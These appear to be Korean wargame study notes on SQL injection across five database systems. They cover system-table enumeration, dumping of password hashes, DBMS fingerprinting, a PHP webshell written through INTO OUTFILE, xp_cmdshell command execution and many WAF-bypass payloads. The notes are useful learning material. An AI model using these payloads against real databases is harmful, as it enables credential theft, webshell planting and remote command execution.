MYSQL은 스키마와 데이터베이스가 같다
mysql> show databases;
mysql> select TABLE_SCHEMA from information_schema.tables group by TABLE_SCHEMA;
/*
+--------------------+
| Database,TABLE_SCHEMA|
+--------------------+
| information_schema |
| DREAMHACK | # 이용자 정의 데이터베이스
| mysql |
| performance_schema |
| sys |
+--------------------+
*/
테이블, 컬럼 정보
#TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME에 해당하는 정보 조회
mysql> select TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS;
/*
+--------------------+----------------+--------------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------------+----------------+--------------------+
| information_schema | CHARACTER_SETS | CHARACTER_SET_NAME |
...
| DREAMHACK | users | uid |
| DREAMHACK | users | upw |
...
| mysql | db | Db |
| mysql | db | User |
...
+--------------------+----------------+--------------------+
3132 rows in set (0.07 sec)
*/
실시간 실행 쿼리 정보
#processlist 테이블 통해...
mysql> select * from information_schema.PROCESSLIST;
/*
+-------------------------------------------------+
| info |
+-------------------------------------------------+
| select info from information_schema.PROCESSLIST |
+-------------------------------------------------+
1 row in set (0.00 sec)
*/
# SYS 데이터베이스의 session 테이블 => 실행 중인 계정과 함께 조회
mysql> select user,current_statement from sys.session;
DBMS 계정 정보
# USER_PRIVILEGES 테이블 -> GRANTEE, PRICILEGE_TYPE, IS_GRANTABLE 조회
mysql> select GRANTEE,PRIVILEGE_TYPE,IS_GRANTABLE from information_schema.USER_PRIVILEGES;
/*
PRIVILEGE_TYPE: 특정 사용자가 가진 권한의 종류를 나타냅니다.
IS_GRANTABLE: 특정 사용자가 자신의 권한을 다른 유저에게 줄 수 있는지 YES 또는 NO로 표시됩니다.
+-------------------------+-------------------------+--------------+
| GRANTEE | PRIVILEGE_TYPE | IS_GRANTABLE |
+-------------------------+-------------------------+--------------+
| 'root'@'localhost' | SELECT | YES |
...
| 'root'@'localhost' | SUPER | YES |
...
| 'user_test'@'localhost' | USAGE | NO |
+-------------------------+-------------------------+--------------+
58 rows in set (0.00 sec)
*/
#USER 테이블 통해 조회하는 방법
mysql> select User, authentication_string from mysql.user;
/*
authentication_string: 사용자의 비밀번호를 해싱한 값 입니다.
+------------------+-------------------------------------------+
| User | authentication_string |
+------------------+-------------------------------------------+
| root | *... |
| mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| user_test | *... |
+------------------+-------------------------------------------+
4 rows in set (0.00 sec)
*/
시스템 테이블
#MSSQL 초기 서치 시 해당 데이터베이스 존재
SELECT name FROM sys.databases
/*
name
-------
master
tempdb
model
msdb
dreamhack # 이용자 정의 데이터베이스 (예시)
*/
DB 정보
# master DB의 SYSDATABASES 내 테이블 내용 중 name에 해당하는 정보 조회
SELECT name FROM master..sysdatabases;
# 해당 구조로 DB 정보 알아낼 수 있음
# 0이라면 현재 데이터베이스
SELECT DB_NAME(1);
/*
master
*/
테이블 정보
#sysobjects테이블 중 name에 해당하는 정보 조회 조건(이용자 정의 테이블)
SELECT name FROM dreamhack..sysobjects WHERE xtype = 'U';
# xtype='U' 는 이용자 정의 테이블을 의미
/*
name
-------
users
*/
#tabel_name 조회
SELECT table_name FROM dreamhack.information_schema.tables;
컬럼 정보
#테이블의 name 조회. 서브쿼리 사용해 조건(컬럼 이름이 출력됨)
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users');
/*
name
-----
uid
upw
*/
#column 테이블 참조해 조회
SELECT table_name, column_name FROM dreamhack.information_schema.columns;
DBMS 계정 정보
#sql_logins 테이블의 name, password_hash 조회
SELECT name, password_hash FROM master.sys.sql_logins;
/*
name password_hash
--------------------------
sa NULL
dreamhack NULL
*/
#master DB의 syslogins테이블 통해 조회
SELECT * FROM master..syslogins;
초기 데이터 베이스
#초기 설치 시 postgres, template1, template0 데이터베이스 있음
postgres=$ select datname from pg_database;
/*
datname
-----------
postgres
template1
template0
(3 rows)
*/
스키마 정보
# 주요 정보 담고 있는 테이블 포함 스키마 pg_catalog, information_schema
postgres=$ select nspname from pg_catalog.pg_namespace;
/*
nspname
--------------------
pg_toast
pg_temp_1
pg_toast_temp_1
pg_catalog
public
information_schema
(6 rows)
*/
테이블 정보
#information_schema -> 각 테이블 정보 조회
#catalog의 table_name
postgres=$ select table_name from information_schema.tables where table_schema='pg_catalog';
/*
table_name
---------------------------------
pg_shadow
pg_settings
pg_database
pg_stat_activity
...
*/
#information_schema의 table_name 정보 조회
postgres=# select table_name from information_schema.tables where table_schema='information_schema';
/*
table_name
---------------------------------------
schemata
tables
columns
...
*/
DBMS 계정 정보
#pg_catalog.pg_shadow -> PostgreSQL 서버 계정정보 조회
#해당 쿼리 결과에는 계정 정보, 비밀번호의 해시정보 포함
postgres=$ select usename, passwd from pg_catalog.pg_shadow;
DBMS 설정 정보
#pg_catalog.pg_settings -> 서버 설정 정보 조회 가능
postgres=$ select name, setting from pg_catalog.pg_settings;
실시간 실행 쿼리 확인
#pg_catalog.pg_stat_activity -> 실시간 실행 쿼리 조회 가능
postgres=$ select usename, query from pg_catalog.pg_stat_activity;
/*
usename | query
----------+---------------------------------------------------------
postgres | select usename, query from pg_catalog.pg_stat_activity;
(1 row)
*/
테이블 정보
#information_schema.tables -> DB 스키마/테이블 정보 등 조회
postgres=$ select table_schema, table_name from information_schema.tables;
컬럼 정보
#information_schema.columns테이블 -> 컬럼 정보 조회
postgres=$ select table_schema, table_name, column_name from information_schema.columns;
DB 정보
#all_talbes : 현재 사용자가 접근가능한 테이블 집합
SELECT DISTINCT owner FROM all_tables
SELECT owner, table_name FROM all_tables
컬럼 정보
#where 구문 통해 table_name이 user인 테이블 컬럼 이름 조회
SELECT column_name FROM all_tab_columns WHERE table_name = 'users'
DBMS 계정 정보
SELECT * FROM all_users
sqlite> .header on
-- 콘솔에서 실행 시 컬럼 헤더를 출력하기 위해 설정합니다.
sqlite> open dreamhack.db
-- 데이터베이스를 연결합니다.
#sql_mast 시스템 테이블 이용
#생성된 테이블 등 정보, sql 획득O
#sqlite_master 테이블 조회한 결과 확인
sqlite> select * from sqlite_master;
/*
type|name|tbl_name|rootpage|sql
table|users|users|2|CREATE TABLE users (uid text, upw text)
*/
<상황 별 DBMS 수집 방법>
1. 쿼리 실행 결과 출력
DBMS에서 제공하는 환경변수, 함수 사용해 버전 확인
SELECT @@version
SELECT version()
2. 에러 메시지 출력
에러 메시지 출력해서 확인하기
select 1 union select 1, 2;
# MySQL => ERROR 1222 (21000): The used SELECT statements have a different number of columns
(select * from not_exists_table)
# SQLite => Error: no such table: not_exists_table
3. 참/거짓 출력
쿼리 실행 결과가 참,거짓 여부만 출력할 떄 Blind SQL Injection 공격으로 사용중인 DBMS 알아낼 수 있음
mid(@@version, 1, 1)='5';
substr(version(), 1, 1)='P';
쿼리에 대한 아무 결과를 출력하지 않을 때 시간 지연 함수 사용하기
sleep(10)
pg_sleep(10)
1. 쿼리 실행 결과 출력
version 환경변수/함수 사용해 DBMS 버전, 운영체제 정보 알아내기
mysql> select @@version; # select version();
+-------------------------+
| @@version |
+-------------------------+
| 5.7.29-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)
2. 에러 메시지 출력
### 1222에러코드 : MySQL에서 명시한 코드임을 알 수 있음
mysql> select 1 union select 1, 2;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
3. 참/거짓 출력
#Blind SQLI로 한글자씩 알아내는 모습
#mid 함수 -> 환경변수의 첫번째 글자가 5인지 확인
# @@version => '5.7.29-0ubuntu0.16.04.', mid(@@version, 1, 1) => '5'
mysql> select mid(@@version, 1, 1)='5';
+------------------------+
| mid(@@version,1,1)='5' |
+------------------------+
| 1 |
+------------------------+
1 row in set (0.00 sec)
mysql> select mid(@@version, 1, 1)='6';
+------------------------+
| mid(@@version,1,1)='6' |
+------------------------+
| 0 |
+------------------------+
1 row in set (0.00 sec)
예외 상황 -> 쿼리 실행 결과 반환하지 않을 때 sleep 함수 사용해 시간 지연 여부로 알아낼 수 있음
1. 쿼리 실행 결과 출력
#version 함수 사용해 DBMS 상세정보, OS 정보 알아내기
postgres=$ select version();
version
--------
PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit
(1 row)
2. 에러 메시지 출력
#에러메시지 -> PostgreSQL에서 출력하는 문자열임을 알 수 있음
postgres=$ select version();
version
--------
PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit
(1 row)
3. 참/거짓 출력
#substr 함수 -> version 함수로 불러온 값 첫 글자가 P인지 확인
/* version() => 'PostgreSQL ...', substr(version(), 1, 1) => 'P' */
postgres=$ select substr(version(), 1, 1)='P';
?column?
----------
t #true
(1 row)
postgres=# select substr(version(), 1, 1)='Q';
?column?
----------
f
(1 row)
1. 쿼리 실행 결과 출력
> select @@version;
-----------------------------------------------------------------------------
Microsoft SQL Server 2017 (RTM-CU13) (KB4466404) - 14.0.3048.4 (X64)
Nov 30 2018 12:57:58
Copyright (C) 2017 Microsoft Corporation
Developer Edition (64-bit) on Linux (Ubuntu 16.04.5 LTS)
(1 rows affected)
2. 에러 메시지 출력
> select 1 union select 1, 2;
Msg 205, Level 16, State 1, Server e2cb36ec2593, Line 1
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.asdf
3. 참/거짓 출력
-- @@version => 'Microsoft SQL Server...', substring(@@version, 1, 1) => 'M'
> select 1 from test where substring(@@version, 1, 1)='M';
-----------
1
(1 rows affected)
> select 1 from test where substring(@@version, 1, 1)='N';
-----------
(0 rows affected)
예외상황 -> 쿼리 실행 결과 반환 X -> waitfor delay 사용해 시간 지연 발생 여부로 알아내기
1. 쿼리 실행 결과 출력
-- @@version => 'Microsoft SQL Server...', substring(@@version, 1, 1) => 'M'
> select 1 from test where substring(@@version, 1, 1)='M';
-----------
1
(1 rows affected)
> select 1 from test where substring(@@version, 1, 1)='N';
-----------
(0 rows affected)
2. 에러 메시지 출력
sqlite> select 1 union select 1, 2;
Error: SELECTs to the left and right of UNION do not have the same number of result columns
3. 참/거짓 출력
-- sqlite_version() => '3.11.0', substr(sqlite_version(), 1, 1) => '3'
sqlite> select substr(sqlite_version(), 1, 1)='3';
1
sqlite> select substr(sqlite_version(), 1, 1)='4';
0
예외상황 -> 시간지연발생여부로 확인
DBMS 설정 항목 잘못 설정 시 발생할 수 있는 문제점
MySQL에서 파일 작업 시 mysql권한으로 수행
my.cnf 설정파일의 secure_file_priv값에 영향 받음
secure_file_priv
-> mysql쿼리 내 load_file/outfile 이용해 파일 접근 시 접근 가능한 파일 경로 설정하는 시스템 변수
# my.cnf
[mysqld]
# secure_file_priv = "" # 미설정. 기본 설정 값으로 설정됩니다.
secure_file_priv = "/tmp" # 해당 디렉터리 하위 경로에만 접근 가능합니다.
secure_file_priv = "" # mysql의 권한이 가능한 모든 경로에 접근이 가능합니다.
secure_file_priv = NULL # 기능이 비활성화 됩니다.
# 기본적으로 secure_file_priv의 값은 /var/lib/mysql-files/
mysql> select @@secure_file_priv;
+-----------------------+
| @@secure_file_priv |
+-----------------------+
| /var/lib/mysql-files/ |
+-----------------------+
load_file
인자로 전달된 파일 읽고, 출력
secure_file_priv 시스템 변수 설정되어있어야함
전달되는 파일은 전체경로 입력, 접근권한 있어야함
into outfile
SELECT ... INTO 쿼리 : 쿼리 결과를 변수/파일에 쓸 수 O
secure_file_priv 값 올바르지 않으면 임의 경로에서 파일작업 수행O -> 엡쉘 업로드 공격 가능
#SELECT INTO 이용 -> 파일 작성
SELECT ... INTO var_list # column 값을 변수에 저장
SELECT ... INTO OUTFILE 'filename' # 쿼리 결과의 rows 값을 파일에 저장
SELECT ... INTO DUMPFILE 'filename' # 쿼리 결과(single row)를 파일에 저장
# 웹쉘 작성
mysql> select '<?=`$_GET[0]`?>' into outfile '/tmp/a.php';
/* <?php include $_GET['page'].'.php'; // "?page=../../../tmp/a?0=ls" */
xp_cmdshell 기능 -> OS 명령어 실행 O
현재는 공격 불가능
#활성화 여부 확인 value 값 1 ->활성화, 0->비활성화
SELECT name, value, description FROM sys.configurations WHERE name = 'xp_cmdshell'
#활성화된 경우 OS 명령어 실행
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
DBMS 애플리케이션 작동 권한
서버에서 DBMS 작동 시 DBMS 전용 계정(nologin) 만들어 사용해야함
DBMS 계정 권한
루트 계정 사용 지양.
서비스/기능 별 계정 생성해 사용해야함
각각의 DBMS는 문자열 비교하는 방법 다름
대소문자 구분
일부 DBMS 비교연산 시 대소문자 구분 X
#mysql 대소문자 구분
mysql> select 'a'='A';
/*
+---------+
| 'a'='A' |
+---------+
| 1 |
+---------+
*/
#mssql 대소문자 구분
> select 1 from test where 'a'='A';
/*
-----------
1
*/
공백문자로 끝나는 문자열 비교
일부 DBMS -> 할당된 칼럼 크기 맞게 공백문자 채우고 비교
공백문자 추가한 문자 안 한문자 서로 같음
# mysql 공백문자로 끝나는 문자열 비교
/* version: 5.7.42 */
mysql> select 'a'='a ';
/*
+---------+
| 'a'='a '|
+---------+
| 1 |
+---------+
*/
#MSSQL 비교
> select 1 from test where 'a'='a ';
/*
-----------
1
*/
다중쿼리 : 하나 요청에 다수 쿼리 구문 사용
대부분 웹 애플리는 DBMS에 쿼리 전송 시 다중쿼리 지원 X,
만약 지원한다면 본래 실행되는 쿼리문에 새로운 쿼리문 작성해 DB 삭제/ 값 추가.. 가능
#다중쿼리 예시
SELECT * from users where uid=''; INSERT users values (...);
WAF
SQL : (DB, 컬럼명 포함) 질의문 대소문자 구문 X 실행
#방화벽에서 UNION 키워드로 공격 여부 판단 시 우회
UnIoN SeLecT 1,2,3
selECT SlEep(5)
UNION, union 문자열 탐지하고 공백으로 치환 시
#우회
UNunionION SELselectECT 1,2 --
# => UNION SELECT 1,2
reverse -> 문자열 뒤집기
concat -> 이어 붙임
16진수 사용해 임의 문자열 완성 가능
mysql> SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;
일반적 이용자는 연산자 입력X -> 방화벽에서 연산자 키워드 포함 여부 확인
# 기호 사용으로 우회
mysql> select 1 || 1;
이외 연산자
^, =, !=, %, /, *, &, &&, |, ||, >, <,
XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL
이름, 생년월일... -> 공백 필요 X
#주석 이용해 공백 검사 우회
#문자 사이 주석 : /**/
mysql> SELECT/**/'abc';
/*
+-----+
| abc |
+-----+
| abc |
+-----+
# Backtick 문자 (`)-> 공백 없이 쿼리 실행
mysql> select`username`,(password)from`users`WHERE`username`='admin';
#진법 이용 ab
mysql> select 0x6162, 0b110000101100010;
#함수 이용
mysql> select char(0x61, 0x62);
#가젯 이용
mysql> select mid(@@version,12,1);
# 개행 이용
mysql> select
-> 1;
# 주석 이용
mysql> select/**/1;
WAF : / _ / -> 주석으로 인식하고 쿼리 구문으로 해석X
MySQL : /! _ / -> 주석 내 구문 분석, 쿼리 일부로 실행
=> WAF 우회하고 실행가능
mysql> select 1 /*!union*/ select 2;
#함수 이용한 우회
# A
postgres=> select chr(65);
# AB
postgres=> select concat(chr(65), chr(66));
#가젯 이용 우회
postgres=> select substring(version(),23,1);
#개행 이용 우회
postgres=> select
1;
#주석 이용 우회
postgres=> select/**/1;
#함수 이용 우회
# a
> select char(0x61);
#ab
> select concat(char(0x61), char(0x62));
#가젯 이용 우회
> select substring(@@version,134,1);
#개행 이용 우회
> select
1;
#주석 이용 우회
> select/**/1;
# 함수 이용 우회
# a
sqlite> select char(0x61);
#ab
sqlite> select char(0x61)||char(0x62);
#개행 이용 우회
sqlite> select
...> 1;
#주석 이용 우회
sqlite> select/**/1;
SELECT 구문 사용 못하면 원하는 값 반환X
UNION VALUES(num) -> 원하는 값 반환 O
sqlite> select 1 union values(2);